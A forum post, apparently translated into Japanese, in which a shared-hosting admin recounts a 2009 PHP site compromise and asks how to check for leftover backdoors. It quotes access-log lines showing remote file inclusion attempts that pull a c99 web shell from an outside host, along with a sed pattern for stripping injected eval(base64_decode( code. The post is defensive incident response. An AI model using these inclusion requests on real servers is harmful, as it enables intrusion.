インストール済みのアプリのポートフォリオにパッチを適用しておくことができなかったために、共有ホスティング環境が侵害されることがあります。先週は、Help Center Live と呼ばれる PHP アプリケーションの古くて使用されていないインストールが原因でした。その結果、サーバー上のすべての PHP ファイル (および、いくつかの Wordpress、Joomlas、SilverStripe をインストールしています) に、他のサイトからクローキングされたリンクを取得してページに含めるコードが追加されました。この種の攻撃の後、自分のサイトが Google から追放されたと報告する人もいます。携帯電話からサイトの 1 つにアクセスしたときに初めて気づきました。そのページには、モバイル ブラウザにリンクが含まれていました。
ログには、次のような多くの攻撃の試みが見つかりました。
62.149.18.193 - - [06/Feb/2009:14:52:45 +0000] "GET /support/module.php?module= HelpCenter//include/main.php?config [search_disp]=true&include_dir= http: // /www.portlandonnuri.com/ 2008_web//technote7/data/photo/ id2.txt??? HTTP/1.1" 200 26 "-" "libwww-perl/5.814"
私はすぐにこのアプリケーションを削除し、問題のある PHP コードをすべてのソース ファイルから削除するスクリプトを作成しました。また、このスクリプトは、感染した他のサイトへのリンクを含む HTML ファイルを作成していたこともわかりました。それらも削除しました。今、攻撃者が、私が見逃した何か他のものを残したのではないかと心配しています。それは、攻撃者が永続的にアクセスできるようにする PHP ファイルです。ファイルの日付はすべて攻撃で変更されており、問題の期間中に変更された他のファイルは見つかりませんでした。サーバーにバックドアがないことを確認するために、見落としている明らかなものはありますか?
編集: 上記のログ ファイルのスニペットに示されているような、攻撃コードを含むテキスト ファイルも検索します。何も見つかりませんでした。
別の編集:同じ状況に陥ったためにこの投稿に出くわした場合、これが役立つかもしれません. PHPソースファイルを操作する前に、これを使用してすべてのPHPソースファイルをバックアップしました。
find . -name *.php -exec tar -uvf ~/www/allphp.tar {} \;
これにより、攻撃者が行った変更を元に戻すことができます。
find . -name *.php -exec sed -i '/<?php \/\*\*\/eval(base64_decode(/d' {} \;
ロケット科学ではありませんが、私のような時折 Linux/Unix ユーザーにとっても些細なことではありません :-)。
別の編集: サーバー上のすべてのコード行を監査することはできませんが、疑わしいデータを検索することはできます。「eval」と「base64」の出現箇所をすべて検索しましたが、正当に見えないものは見つかりませんでした。次に、「.ru」の grep を実行しました (加害者はそこから来ているようです)。見よ、c99 シェルと呼ばれるものを見つけたので、すぐに削除しました。
最終編集: c99 シェルがどのようにアップロードされたかを知りました - Coppermine フォト ギャラリーの穴から。
97.74.118.95 - - [03/Feb/2009:00:31:37 +0000] "POST
/pics/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files
/c99shell.txt&CURRENT_PIC[filename]=/1.php HTTP/1.1" 404 - "-" "-"
97.74.118.95 - - [03/Feb/2009:00:32:24 +0000] "
GET /pics/albums/1.php HTTP/1.1" 200 25352 "-" "-"
ちなみに、IP アドレスは Godaddy がホストする IP です。